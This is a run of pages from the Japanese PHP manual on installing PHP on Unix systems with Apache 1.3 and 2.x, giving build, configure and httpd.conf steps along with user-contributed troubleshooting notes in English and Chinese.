これらの変更に関する詳細は、 定義済みの変数 のセクションおよびそこにあるリンクを参照してください。

User Contributed Notes

There are no user contributed notes for this page.


次にするべきことは?

ここで得た知識により、マニュアルのほとんどの部分、 そしてサンプルのアーカイブにある多くのスクリプトの例を理解できるようになったはずです。

この他 PHP でできる多くのことを示すスライドプレゼンテーションを見るには、 PHP カンファレンスマテリアルサイト » http://talks.php.net/ を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


インストールと設定

  • インストールにあたっての一般的な注意事項
  • Unix システムへのインストール
    • Apache 1.3.x (Unix システム用)
    • Apache 2.x (Unixシステム用)
    • Nginx 1.4.x (Unix システム用)
    • Lighttpd 1.4 (Unix システム用)
    • LiteSpeed/OpenLiteSpeed Webサーバ(Unixシステム用)
    • CGI およびコマンドライン
    • HP-UX へのインストール
    • OpenBSD へのインストール
    • Solaris へのインストール
    • Debian GNU/Linux へのインストール
  • macOS へのインストール
    • パッケージの使用
    • バンドルされている PHP の使用法
    • macOS 上での PHP のコンパイル
  • Windows システムへのインストール
    • インストール要件
    • PECL
    • Windows 上での PHP インストーラ
    • Windows でのおすすめの構成
    • Windows 上での PHP の手動インストール
    • Windows 上での PHP のトラブルシューティング
    • 古い Windows システムへのインストール
  • クラウドコンピューティングプラットフォームへのインストール
    • Azure App Services
    • Amazon EC2
  • FastCGI Process Manager (FPM)
    • インストール
    • 設定
  • PECL 拡張モジュールのインストール
    • PECL インストール入門
    • PECL 拡張モジュールをダウンロードする
    • PHP 拡張モジュールの Windows へのインストール
    • 共有 PECL 拡張モジュールを、pecl コマンドを用いてコンパイルする
    • phpize で共有 PECL 拡張モジュールをコンパイルする方法
    • php-config
    • PECL 拡張モジュールを PHP に静的に組み込む
  • 問題が起きた場合
    • FAQ を読む
    • FAQ に無い問題
    • バグ報告
  • 実行時設定
    • 設定ファイル
    • .user.ini ファイル
    • どこで設定を行うのか
    • 設定を変更するには

User Contributed Notes

There are no user contributed notes for this page.


インストールにあたっての一般的な注意事項

インストールを行う前に、PHP を使用する用途を明確にしておく必要があります。 PHP を適用可能な分野としては、 「PHP にできることは？」 のセクションに記述されている通り、主に次の 3 つがあります。

  • Web サイトや Web アプリケーション (サーバーサイドのスクリプト)
  • コマンドラインのスクリプト
  • デスクトップ (GUI) アプリケーション

最初の用途がもっとも一般的で、この場合、PHP 本体、Web サーバー、Web ブラウザ の 3 つが必要となります。Web ブラウザは既にお持ちだと思います。 使用しているオペレーティングシステムのセットアップの状況によっては、 さらに Web サーバーも稼働しているかもしれません（例、Linux 上の Apache、macOS および Windows 上の IIS）。また、ホスティング会社で Web 用のスペースを 借りることもできるでしょう。この場合は、自分自身でセットアップを行う必要はなく、 PHP スクリプトを作成し、借りているサーバーにアップロードするだけで、 ブラウザを使って処理結果を見ることができます。

一方、Web サーバーと PHP を自分でセットアップする場合、 サーバーに PHP を組み込む方法が 2 種類あります。 多くのサーバーに対して、各サーバー独自のモジュールインターフェイス (SAPI とも呼ばれます) を通じて、ダイレクトに PHP を動作させることができます。 Apache、Microsoft Internet Information Server、 Netscape、iPlanet サーバーなどがサポートされています。 PHP がモジュールのサポートをしていない Web サーバーに対しては、 CGI もしくは FastCGI プロセサとして PHP を使用することができます。 つまり、PHP ファイルへのリクエストの処理を、 PHP のコマンドライン版の実行ファイルを使って行うよう Web サーバーを設定することができます。

コマンドラインでのスクリプト実行に PHP を使用する （たとえば、オフラインで画像を自動生成するスクリプトを書いたり、 指定した引数に応じてテキストファイルを処理したりといった） 場合は、コマンドライン版の実行ファイルが必要となります。 詳細な情報については、 「PHP をコマンドラインから使用する」 の章を参照してください。この場合、サーバーとブラウザは不要です。

PHP-GTK 拡張モジュールを使って、PHP でクライアントサイドの GUI アプリケーションを作成することも可能です。この場合のアプローチは Web ページの 作成とは完全に異なり、HTML を出力するのではなく、 ウインドウやその中のオブジェクトの管理を行うことになります。PHP-GTK に関する より詳細な情報については、 » PHP-GTK 拡張モジュールのサイト を参照してください。PHP-GTK は、PHP の公式アーカイブには含まれていません。

以降、この節では Unix や Windows 上の Web サーバーに サーバーモジュールインターフェイスおよび CGI 実行ファイルとして PHP をセットアップする方法を説明します。 コマンドラインの実行ファイルについての情報も、 これ以降の節で得られるでしょう。

PHP のソースコードと Windows 用のバイナリアーカイブは、 » https://www.php.net/ にあります。

User Contributed Notes

There are no user contributed notes for this page.


Unix システムへのインストール

目次

  • Apache 1.3.x (Unix システム用)
  • Apache 2.x (Unixシステム用)
  • Nginx 1.4.x (Unix システム用)
  • Lighttpd 1.4 (Unix システム用)
  • LiteSpeed/OpenLiteSpeed Webサーバ(Unixシステム用)
  • CGI およびコマンドライン
  • HP-UX へのインストール
  • OpenBSD へのインストール
  • Solaris へのインストール
  • Debian GNU/Linux へのインストール

本章では、UNIX 系のシステムへの PHP のインストールと設定に関する 手引きを示します。使用するプラットフォームや Web サーバーについての セクションを参照して、インストールを行ってください。

このマニュアルでは、 「インストールにあたっての一般的な注意事項」 の章で述べたように、Web 用のセットアップを主に扱います。加えて、 コマンドラインから PHP を使うためのセットアップについても扱います。

Unix プラットホームに PHP をインストールする方法はいくつかあり、 コンパイルして設定するやり方と（コンパイル済みの）パッケージを使う方法とに 別けられます。この手引きでは、コンパイルして設定する方法を主に取り上げます。 Unix 系システムには、パッケージを用いるインストールシステムを持つものも多く、 一般的なセットアップを行うには、パッケージが役に立つでしょう。ただし、 （セキュアサーバーや様々なデータベースドライバなど）少々特殊な機能が必要な場合、 PHP や Web サーバーをビルドする必要が有るかもしれません。ソフトウエアの ビルドに不慣れな場合は、必要な機能を含めてビルドされたパッケージを 誰か他の人が作成済みでないかを調べてみると良いでしょう。

コンパイルにあたって必要な知識とソフトウエアを以下に示します。

  • UNIX に関する基本的な知識 ("make" および C コンパイラを使える程度)
  • ANSI C コンパイラ
  • Web サーバー
  • 個別のモジュール関連のコンポーネント (GD や PDF ライブラリなど)

Git から取得したソースや、自分でカスタマイズしたソースをビルドするには さらにこれらが必要です。

  • autoconf: 2.59+ (PHP >= 7.0.0), 2.64+ (PHP >= 7.2.0)
  • automake: 1.4+
  • libtool: 1.4.x+ (ただし 1.4.2 は除く)
  • re2c: 0.13.4+
  • bison:
    • PHP 7.0　- 7.3: 2.4 以降 (Bison 3.x を含む)
    • PHP 7.4: > 3.0

PHP の初期設定および設定プロセスは、configure スクリプトに与えられたコマンドラインオプションによりコントロールされます。 ./configure --help とすると、 オプションの一覧と簡単な解説が表示されます。 本マニュアルでは、オプションの種類ごとに別けて解説されています。 PHP 本体のオプションの一覧は 付録 にまとめられています。 各拡張モジュール特有のオプションは、関数リファレンスのページに記述されています。

PHP の configure が完了していないと、 拡張モジュールや本体の実行ファイルのビルドができません。 make コマンドの実行にあたっては、注意してください。 configure がうまく行かず原因もよくわからない場合は、 問題が起きた場合 についての章を参照してください。

注意:

Unixシステム (OpenBSD や SELinux のような) によっては、 セキュリティ上の理由で、 メモリ上のページに書き込み可能属性と実行可能属性の両方を付与することを 許可しないかもしれません。 これは PaX MPROTECT とか W^X (Write XOR Execute) 防御と呼ばれています。 しかしながら、この手のメモリマッピングは PCRE の JIT サポートに必要なので、 PHP を PCRE の JIT サポート抜きでビルドする か、 何とかしてシステムが提供するホワイトリストに PHP のバイナリを入れなければならないでしょう。

注意: Android ツール群を使った ARM 向けのクロスコンパイルには、今のところ対応していません。

User Contributed Notes

cj3 at clifjackson dot net 18-Jan-2018 09:58
I recently ran in to a situation where I was building PHP 7.1.13 from source. Configuration & make went fine, however, when I ran make install it hung. It turns out that if you are building PHP with Apache (apxs) the make file calls apxs with the -a flag which tells it to modify the httpd.conf file. If, for whatever reason, the file is not writeable then it fails and you get the hang.

Line 108 in my Makefile looks like this:

INSTALL_IT = $(mkinstalldirs) '$(INSTALL_ROOT)/usr/lib64/httpd/modules' && $(mkinstalldirs) '$(INSTALL_ROOT)/etc/httpd/conf' && /usr/sbin/apxs -S LIBEXECDIR='$(INSTALL_ROOT)/usr/lib64/httpd/modules'      -S SYSCONFDIR='$(INSTALL_ROOT)/etc/httpd/conf' -i -a -n php7 libphp7.la

I had to remove the -a flag and then it was fine.
Alex at GrimMusic dot com 13-Nov-2006 12:49
I am new to linux/apache/php (coming from server 2003/IIS/Asp.Net), so i was stumped as to why php/apache could only use static content. Also, it couldn't access some documents that you created somewhere else, and then dragged into the HTML directory.

After some research, i found the problem was the SELinux context of the files. It took me forever to find the Proper command to use to change that, as all the examples on the net were out dated using old commands:
# chcon "user_u:object_r:httpd_sys_content_t" /var/www/html -Rc

This will change the SELinux context of all the documents under the /var/www/html directory (which is the web directory under Fedora), to allow the httpd process to access them, and the '-Rc' flag will make the changes Recursive, and will output it's progress for each file that it sucessfully changes.
Arjan van Bentem 12-Jul-2006 12:29
When using Red Hat Fedora, beware of Security Enhanced Linux, SELinux.

Quoted from Red Hat: "The security goal is to make sure that Apache HTTP is only reading the static Web content, and not doing anything else such as writing to the content, connecting to database sockets, reading user home directories, etc."

These limitations include, among many other things, using mkdir to create directories, using fopen to access files, using fopen or get_headers to read URLs, or using exec to run external applications that happen to use sockets (or maybe access some files, but which will run fine when executed from the command line as Unix user apache or httpd -- such as HylaFAX "faxstat" as invoked from nweb2fax recvq.php and sendq.php).

See /var/log/messages for any denials due to the SELinux policy. To disable it:

- System, Administration, Security Level and Firewall
- open the SELinux tab
- click the Transition tree
- check Disable SELinux protection for Apache HTTP
- execute /etc/init.d/httpd restart

See also http://fedora.redhat.com/docs/selinux-faq/ and http://php.net/results.php?q=selinux&p=wholesite
thansen at terra dot com dot br 30-Dec-2003 08:36
The configure directives --with-apxs2 and --with-apxs2filter are not compatible one with other, even though the configure script will not complain about that. Each one affect the way Apache will call the php parser: If you choose the first one, you must use the traditional include:

AddType application/x-httpd-php php

at httpd.conf, to call the parser. If you use the --with-apxs2filter, the include will be:

<Files *.php>
        SetOutputFilter PHP
        SetInputFilter  PHP
</Files>

, and php will be called as a filter to .php files.

If you use both together, you will get compilation errors (duplicate symbols while linking libphp4).
doug at NOSPAM dot techie dot net 04-Feb-2003 05:16
Users compiling under some versions of Solaris/SunOS may encounter the following error.
   symbol ap_block_alarms: referenced symbol not found

To address this problem, add the following additional flag to the Apache build configure line:
   --enable-rule=SHARED_CORE

So, adding this to the original instructions, you'd configure your Apache build like so:
   ./configure --prefix=/www --enable-module=so --enable-rule=SHARED_CORE

Doug


Apache 1.3.x (Unix システム用)

このセクションでは、PHP を Unix プラットフォームの Apache 1.3.x にインストールする際の 手引きと注意事項について説明します。Apache 2 に関する手引きと注意 は 別のセクションにあります。

以下の説明では、バージョン番号が意図的に省略されています。 'xxx' の部分を使用するファイルに対応する番号に置き換えてください。 また、手順 10 で configure に与える引数は、 configure のすべてのオプション から選択できます。

例1 PHP インストール 手順 (Apache 共有モジュール版)

1.  gunzip apache_xxx.tar.gz
2.  tar -xvf apache_xxx.tar
3.  gunzip php-xxx.tar.gz
4.  tar -xvf php-xxx.tar
5.  cd apache_xxx
6.  ./configure --prefix=/www --enable-module=so
7.  make
8.  make install
9.  cd ../php-xxx

10. PHP の configure を行います。ここでは、様々なオプションを指定して、
    特定の拡張モジュールを有効にするといった、カスタマイズを行います。
    指定可能なオプションの一覧は、./configure --help を実行すると得られ
    ます。以下に、簡単な設定例を示します。Apache 1 と MySQL のサポートを
    有効にする例です。apxs のパスは、Apache のインストールパスによって
    異なる場合があります。

      ./configure --with-mysql --with-apxs=/www/bin/apxs

11. make
12. make install

    configure オプションを変更して再インストールする場合は、最後の 3 つ
    の手順を繰り返します。共有モジュールとしてコンパイルされた PHP を
    有効にするには Apache を再起動するだけです。Apache の再コンパイルは
    必要ありません。

    特に指定がない限り、'make install' は、PEAR, phpize のような様々な
    関連ツール、CLI 版 PHP などもインストールすることに注意してください。

13. php.ini ファイルをセットアップ

      cp php.ini-development /usr/local/lib/php.ini

    PHP の実行時設定を変更するには、.ini ファイルを編集します。
    このファイルを他の場所に置きたい場合は、手順 10 で、
    オプション --with-config-file-path=/path を使用します。

    php.ini-development ではなく、php.ini-production を使用する場合は、PHP の
    動作が変化しますので、ファイル中に記載されている変更点の一覧を確認する
    ようにしてください。

14. httpd.conf を編集し、PHP の共有モジュールをロードするよう設定します。
    LoadModule 命令の右側に記述するパスは、システムの PHP 共有モジュール
    を指している必要があります。上記の make install により既にこの設定は
    追加されている場合もありますが、確認が必要です。

      LoadModule php5_module libexec/libphp5.so

15. httpd.conf の AddModule セクションに以下を追加します。
    ClearModuleList の下あたりに追加してください。

      AddModule mod_php5.c

16. Apache が特定の拡張子のファイルを PHP としてパースするよう（httpd.conf
    を編集して）設定します。例えば、Apache が拡張子 .php のファイルを PHP
    としてパースするように設定します。複数の拡張子も、空白で区切って記述する
    だけで PHP としてパースさせることができます。以下の例は .php と .phtml
    とを指定した場合です。

      AddType application/x-httpd-php .php .phtml

    PHP のソースをハイライト表示させるために、拡張子 .phps を設定することも
    よく行われます。

      AddType application/x-httpd-php-source .phps

17. Apache サーバーを、通常の手順通り、起動させます（HUP または USR1
    シグナルを 使用してリロードするのではなく、サーバーを停止させてから
    再起動する必要があります）。

PHP を静的オブジェクトとしてインストールすることも可能です。

例2 PHP インストール手順 (Apache 静的モジュール)

1.  gunzip -c apache_1.3.x.tar.gz | tar xf -
2.  cd apache_1.3.x
3.  ./configure
4.  cd ..

5.  gunzip -c php-5.x.y.tar.gz | tar xf -
6.  cd php-5.x.y
7.  ./configure --with-mysql --with-apache=../apache_1.3.x
8.  make
9.  make install

10. cd ../apache_1.3.x

11. ./configure --prefix=/www --activate-module=src/modules/php5/libphp5.a

    (上の行は間違いではありません。この段階で libphp5.a は存在していませんが
    この時点での存在は必須ではなく、後に作成されます。)

12. make

    (httpd バイナリが作成され、Apache バイナリディレクトリにコピーすることが
    できます。最初のインストールの場合は、この後 "make install" を行います。)

13. cd ../php-5.x.y
14. cp php.ini-development /usr/local/lib/php.ini

15. /usr/local/lib/php.ini を編集すると、PHP の実行時設定を変更できます。
    httpd.conf もしくは srm.conf ファイルを編集し、以下を追記します。
    AddType application/x-httpd-php .php

インストールされている Apache や UNIX の種類によりますが、サーバーの停止・再起動の 方法はいくつもあります。いろいろな Apache/UNIX の組合せを想定して、 サーバーを再起動する典型的な方法を以下に示します。 /path/to/ を使用するシステムのアプリケーション へのパスに置き換えてください。

例3 Apache を再起動するためのコマンドの例

1. Linux および System V 系
/etc/rc.d/init.d/httpd restart

2. apachectl スクリプトを使用する方法
/path/to/apachectl stop
/path/to/apachectl start

3. (OpenSSL を使用している場合) httpdctl および httpsdctl を使用する方法
/path/to/httpsdctl stop
/path/to/httpsdctl start

4. mod_ssl や他の SSL サーバーを使用している場合、手動で stop や start する
/path/to/apachectl stop
/path/to/apachectl startssl

apachectl および http(s)dctl の実行ファイルの位置は、システムにより 異なります。システムが locate、 whereis または which コマンドを サポートしているなら、これらサーバー制御用プログラムを見つけるために使用すると 便利でしょう。

PHP を Apache 用にコンパイルするには、いくつかの方法があります。以下に例を示します。

./configure --with-apxs --with-pgsql

この例では、Apache がロードする共有モジュールのライブラリ libphp5.so が作成されます。この共有ライブラリの読み込みは、Apache の設定ファイル httpd.conf の LoadModule の行にて設定します。また、このライブラリには、 PostgreSQL サポートが埋め込まれます。

./configure --with-apxs --with-pgsql=shared

この例でも Apache 用 libphp5.so 共有ライブラリ が作成されます。加えて、（PHP 拡張モジュールの）共有ライブラリ pgsql.so も作成されます。この共有ライブラリ は、PHP 設定ファイル php.ini の extension ディレクティブにより、 もしくは PHP スクリプト内で明示的に dl() 関数により ロードされます。

./configure --with-apache=/path/to/apache_source --with-pgsql

この例では、libmodphp5.a ライブラリと mod_php5.c およびいくつかの付属ファイルが 作成され、Apache のソースツリーのディレクトリ src/modules/php5 にコピーされます。続いて、 --activate-module=src/modules/php5/libphp5.a と指定して Apache をコンパイルしてください。Apache のビルドシステムにより、libphp5.a が作成され、 httpd バイナリに静的にリンクされます。 PostgreSQL サポートはこの httpd バイナリに 直接埋め込まれるため、最終的な結果としては、Apache 全体と PHP 全体を含む 単一の httpd バイナリが出来上がります。

./configure --with-apache=/path/to/apache_source --with-pgsql=shared

この例は、上と同様ですが、最終的な httpd バイナリに PostgreSQL サポートは直接埋め込まれません。共有ライブラリ pgsql.so が作成され、PHP 設定ファイル php.ini、もしくは dl() 関数により明示的に PHP にロードすることができます。

PHP のビルド方法を選択する際には、各方法の利点と欠点を考慮する必要 があります。共有モジュールのオブジェクトとしてビルドすると、Apache とは別に コンパイルすることができ、PHP を追加または変更する際に全体を 再コンパイルする必要がありません。PHP を Apache に（静的に）組み込むと、 PHP はより高速にロード・実行されます。詳細な情報については、 Apache の Web ページ 「» 動的共有オブジェクト (DSO) サポート」 を参照してください。

注意:

Apache のデフォルトの httpd.conf には、次のように記述されたセクションがあります。

User nobody
Group "#-1"
これを "Group nogroup" （や "Group daemon"）等に変更しないと、 PHP はファイルをオープンすることができません。

注意:

--with-apxs=/path/to/apxs オプションを 指定する場合には実際にシステムにインストールされている apxs を指定してください。 Apache のソースディレクトリ内にある apxs を指定してはいけません。

User Contributed Notes

There are no user contributed notes for this page.


Apache 2.x (Unixシステム用)

このセクションでは、PHPを Unix システム上の Apache 2.x にインストールする際の 手引きと注意事項について説明します。

警告

Apache2 の MPM マルチスレッドモードを実運用環境で使用することは推奨されません。 代わりに prefork MPM を使ってください。これは Apache 2.0 および 2.2 におけるデフォルトの MPM です。prefork MPM を使う理由については、 マルチスレッド版 MPM の Apache2の FAQ エントリを参照してください。

» Apache ドキュメンテーション を参照し、Apache 2.x の基本的な事項について理解しておくことを強く推奨します。 Apache のインストールオプションについてのより詳しい情報が得られます。

最新バージョンの Apache HTTP Server を » Apache ダウンロードサイト からダウンロードし、上述のいずれかのバージョンの PHP を用意してください。 この手引きでは Apache 2.x で PHP を動作させるための 基本的な部分しかカバーしていません。さらに詳しい情報については、» Apache ドキュメンテーション を参照してください。 情報が古く不正確になってしまうため、以下では詳細なバージョン番号は 記述されていません。'NN' という文字列をご使用のバージョンに適宜置き換えて ください。

現在、Apache 2.x には 2.4 と 2.2 の二種類があります。 どちらを選ぶにしてもそれなりの理由があるでしょうが、 2.4 が現在の最新版です。もし選択の余地があるのなら 2.4 を使うことを推奨します。しかし、この例では 2.4 と 2.2 のどちらでも使えるようにしています。 Apache httpd 2.2 は正式には廃止予定で、新しい開発やパッチが 発行されないことに注意してください。

  1. Apache HTTP server を上のサイトから取得して展開します。

    tar -xzf httpd-2.x.NN.tar.gz

  2. 同じく、PHP のソースを取得して展開します。

    tar -xzf php-NN.tar.gz

  3. Apache をビルドしてインストールします。Apache のビルドに関する詳細は Apache のドキュメントを参照ください。

    cd httpd-2_x_NN
./configure --enable-so
make
make install

  4. 以上で Apache 2.x.NN が、モジュールの動的ロードとデフォルトの MPM（マルチプロセッシングモジュール）である prefork が有効になった 状態で、/usr/local/apache2 にインストールされます。 インストールが正常か調べるには、以下のようにして Apache サーバーを立ち上げます。

    /usr/local/apache2/bin/apachectl start
    サーバーを止めて、PHP 用の設定を進めましょう。
    /usr/local/apache2/bin/apachectl stop

  5. PHP の configure を行います。ここでは、様々なオプションを指定し、 特定の拡張モジュールを有効にするといったカスタマイズを行います。 指定可能なオプションの一覧は、./configure --help を実行すると得られます。 以下に、Apache 2 と MySQL のサポートを有効にする、簡単な設定例を示します。

    上で説明したように Apache をソースからビルドした場合は、 apxs のパスも下の例のとおりになっているでしょう。しかし、 もし別の方法で Apache をインストールした場合は apxs のパスを適切に変更しなければなりません。 ディストリビューションによっては、apxs の名前が apxs2 と変更されていることもあるので注意しましょう。

    cd ../php-NN
./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql
make
make install

    configure オプションを変更して再インストールする場合は、 configure, make, make install の手順を繰り返さなければなりません。 共有モジュールとしてコンパイルされた PHP を有効にするには Apache を再起動するだけです。Apache の再コンパイルは不要です。

    特に断りがない限り、'make install' は、PEAR、phpize のような様々な 関連ツール、CLI 版 PHP などもインストールすることに注意してください。

  6. php.ini ファイルを設定する

    cp php.ini-development /usr/local/lib/php.ini

    PHP の実行時設定を変更するには、.ini ファイルを編集します。 このファイルを他の場所に置きたい場合は、手順 5 で、 オプション --with-config-file-path=/path を使用します。

    php.ini-development ではなく、php.ini-production を使用する場合は、PHP の 動作が変化しますので、ファイル中に記載されている変更点の一覧を確認する ようにしてください。

  7. httpd.conf を編集し、PHP の共有モジュールをロードするよう設定します。 LoadModule 命令の右側に記述するパスは、システムの PHP 共有モジュール を指している必要があります。上記の make install により既にこの設定は 追加されている場合もありますが、確認が必要です。

    PHP 7:

    LoadModule php7_module modules/libphp7.so

    PHP 5:

    LoadModule php5_module modules/libphp5.so

  8. Apache が特定の拡張子のファイルを PHP としてパースするよう設定します。 たとえば、Apache が拡張子 .php のファイルを PHP としてパースするようにします。 単に Apache の AddType ディレクティブを使うだけではなく、 悪意を持ってアップロード (あるいは作成) された exploit.php.jpg のようなファイルが PHP として実行されてしまわないようにしたいものです。 この例では、PHP としてパースさせたい任意の拡張子を追加していくだけです。 ためしに .php を追加してみましょう。

    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

    あるいは、拡張子 .php, .php2, .php3, .php4, .php5, .php6, そして .phtml のファイルだけを PHP として実行したいは、このようにします。

    <FilesMatch "\.ph(p[2-6]?|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

    拡張子 .phps のファイルを php ソースフィルタに処理させて 構文ハイライトつきのソースコードとして表示させるには、このようにします。

    <FilesMatch "\.phps$">
    SetHandler application/x-httpd-php-source
</FilesMatch>

    mod_rewrite を使うと、.phps ファイルに名前を変えたりコピーしたりしなくても 任意の .php ファイルを構文ハイライトつきのソースコードとして表示させることができます。

    RewriteEngine On
RewriteRule (.*\.php)s$ $1 [H=application/x-httpd-php-source]

    php ソースフィルタは、実運用環境では無効にしておかなければなりません。 有効にしてしまうと、ソースコードに埋め込まれた機密情報や重要情報が漏れてしまう危険があります。

  9. Apache サーバーを、通常の手順通り、起動させます。

    /usr/local/apache2/bin/apachectl start

    OR

    service httpd restart

上記の手順で、Apache2 ウェブサーバー上で SAPI モジュールとして PHP を動作させることができます。もちろん、Apacheと PHP の双方とも、もっと多くの configure オプションを指定することが出来ます。 詳しい情報を得るには、ソースツリーディレクトリで ./configure --help を実行してください。

マルチスレッド版の Apache をビルドするには、Apache のビルド時に標準の prefork MPM ではなく worker MPM を選択します。 そのためには、先ほどの手順 3 のところで ./configure の引数に次のオプションを追加します。

--with-mpm=worker

そうすることで何がどのようになるのかをきちんと認識したうえで、これを行わなければなりません。 詳細については Apacheドキュメントの » マルチプロセッシングモジュール (MPM) を参照してください。

注意:

Apache MultiViews FAQ では、PHP でマルチビューを使う方法について解説しています。

注意:

マルチスレッド版の Apache をビルドするには、ターゲットシステムがスレッドに対応していなければなりません。 その場合は、PHP についても実験的な Zend Thread Safety (ZTS) でビルドしなければなりません。 この構成では使用できない拡張モジュールもあります。推奨される方法は、Apache をデフォルトの prefork MPM モジュールでビルドすることです。

User Contributed Notes

1097625354 at qq dot com 03-Apr-2019 01:09
解析PHP,需要Apache 2.4.9  以后
<FilesMatch \.php$>
     SetHandler "proxy:fcgi://127.0.0.1:9000"
</FilesMatch>
Anonymous 19-Jul-2017 03:52
On Mac OS X 10.12.5 (Sierra) with Apache 2.4.27 it appears that the configure command for apache needs to include the following (in addition to --enable-so):

--enable-isapi

As of this writing the documentation on this page says "There are currently two versions of Apache 2.x - there's 2.0 and 2.2" so perhaps the documentation needs updating for 2.4, unless --enable-isapi is a Mac-specific requirement.
Anonymous 29-Mar-2017 06:34
Building php 7.1.3 with mysql 5.7.17 and httpd 2.4.25 on Debian 8, step 5 failed for me. Instead of

--with-mysql

try

--with-pdo-mysql

or

--with-mysqli
Sami Fouad 14-Jan-2014 08:01
If you're using Ubuntu, all that's really required is two terminal commands. Please see the Installation notes link on the left for Debian/Ubuntu.
svepa at milestone42 dot com 11-Oct-2011 08:35
On 64-bit Fedora systems (I'm using Fedora 14), configuring PHP to use the MySQL libraries installed as part of the distribution gives the following error if you follow the default instructions in this manual.

Cannot find libmysqlclient under /usr

Modifying he following invocation of configure as follows:

./configure --with-apxs2=/path/to/apxs --with-libdir=lib64 --with-mysql

should work.

Note the addition of --with-libdir=lib64
This points the configure script to look for 64-bit mysqlclient libraries.
nmmm at nmmm dot nu 09-Aug-2009 01:13
When I upgrade to apache 2.2, this:

AddType application/x-httpd-php .php5
AddType application/x-httpd-php .php42
AddType application/x-httpd-php .php4
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtm
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .asp

...does not worked for me, so I did this:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler application/x-httpd-php
</FilesMatch>

Another interesting point with Apache 2.2 is following.
Let suppose we installed PHP as module. But for some directory, we need to use PHP as CGI (probably because of custom configuration). This can be done using:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

Note type must be different than "application/x-httpd-php" and also you need to deactivate the handler on sertain extention. You can do mixed configuration:

<FilesMatch "\.(php)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

in such case files like *.php5 and so on will be parsed via module, but *.php will go to php-huge executable.
Anonymous 16-Jun-2009 10:58
Solution for fedora is yum install mysql-devel. Then set --with-mysql=/usr/include/mysql/
monguesto
Tom420.Duhamel 01-Feb-2009 05:31
I have successfully installed Apache 2.2.11 and PHP 5.2.8 under Red Hat 9.0 on a Pentium 166 with 32 MB of RAM.

While I used RH9, the worst possible case, these notes are probably good for RH-based distributions too (Red Hat Enterprise, Fedora, CentOS...)

If you want to install MySQL, it needs to be installed before PHP because PHP requires some libraries be available.

One think important when picking up a binary distribution of MySQL is to download all four packages: MySQL-server, MySQL-devel, MySQL-client and MySQL-shared. Note: The MySQL was bundled with PHP 4 but is not anymore in PHP 5.

Then you need to install Apache before PHP, because again PHP needs some libraries be available. I installed Apache 2 from source, using the very last version available, which is 2.2.11.

I installed PHP 5.2.8 from source. Here, I had a number of problems, but none which I could not resolve easily, some of them with a little help from different forums I found through Google.

Rembember: When it says you need a package named xyz and you notice there is also one named xyz-devel, grab it.

Most of the packages I got from:
http://legacy.redhat.com/pub/redhat/linux/9/en/os/i386/RedHat/RPMS/
A similar page exists for other versions of Red Hat
and:
http://rpmfind.net/
This site has an updated version of some of the packages. Make sure to use only the one labeled for you version (in my case, Red Hat 9.0) or it will not likely work.

You already have glibc and glibc-common installed, but you need to get glibc-devel and glibc-kernheaders. Make sure to match glibc's version (rpm -q glibc). Note: When it says kernel-header is a required dependency, that's glibc-kernheader (not kernel-source). You will also need binutils (no need to match the version), and gcc and cpp (version must match).

You need zlib-devel (zlib is probably already installed, match the version you have).

If you install the GD extension, the actual library is already bundled with PHP 5 (use that one, they have done some changes in there, so don't upgrade), but you will need to install libpng and libpng-devel (match version, or disable in configure if you don't want) and libjpeg (no -devel with that one).

You will also need libxml2. Now there were a problem, because PHP requires libxml2 be 2.6 or greater, but Red Hat only supplied 2.5.4-1 for RH9 (if you have a more recent distro, you might be more lucky). After looking for a while, I decided to grab the source code for the most recent distribution at the official website (http://xmlsoft.org/) and compiled.

Hope my post is useful to someone. Please, share your experience when compiling/installing for your particular platform and setup. Remember how hard it's been for you the very first time. I confess, my very first server installation took me nearly a week and I was glad others helped me.
chris@gerlt -dot- net 22-Sep-2006 06:33
Install issues on Redhat, specifically RHEL4 with php4 already installed:

I discovered that there was an issue caused by redhat loading php4 in another file seperate from the httpd.conf file!  This took me hours to discover.  Make sure you know if the apache config file (httpd.conf) is loading configurations from a directory (or another file(s)) as well.  If so, look in there for any php module loading which could conflict with the new module you are compiling/installing.
susie91 27-Aug-2006 08:34
for slackware 10.2 users with apache2, mysql5, and trying to install php5:

when following the directions above, after this step:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql

i kept getting this error:
"Unable to find MySql header files...."

the only way i could get php5 with mysql support was to compile MySql5 from source, and not use the binary as the mysql site recommends.

then i was able to ./configure successfully, but for some reason php was configured to compile the CGI version.

so, had to use this ./configure line:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql  --disable-cgi

alternatively, you could install php4 which does bundle the MySql client files.
jaya 05-Jul-2006 11:41
PHP 5.1.4 INSTALLATION on Solaris 9 (Sparc)

Solaris9 Packages Installed:

Verify required package installation:
root# pkginfo SUNWbtool SUNWsprot SUNWtoo SUNWhea SUNWarc \
SUNWlibm SUNWlibms SUNWdfbh SUNWxglh SUNWcg6h

Uninstall Default Apache Packages:
root# /etc/init.d/apache stop
root# pkginfo |grep Apache
root# pkgrm SUNWaclg SUNWapchd SUNWapchr SUNWapchu

Create installation Directory:
root# mkdir /phpdata/

Download Required Packages from Sunfreeware:

Install libiconv-1.8 and gcc3.3.2 packages
root# pkgadd -d ./libiconv-1.8-sol9-sparc-local
root# pkgadd -d ./gcc-3.3.2-sol9-sparc-local

set LD_LIBRARY_PATH, CC and PATH variables
root# LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:\
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:\
/usr/local/apr/lib:/opt/mysql/mysql/lib
root# CC=gcc
root# PATH=$PATH:/usr/ucb:/usr/local/bin/
root# export LD_LIBRARY_PATH CC PATH

Install apr-1.2.2 and aprutil-1.2.2 packages

root# gzcat apr-1.2.2.tar.gz |tar xvf -
root# cd apr-1.2.2
root# ./configure
root# make
root# make install
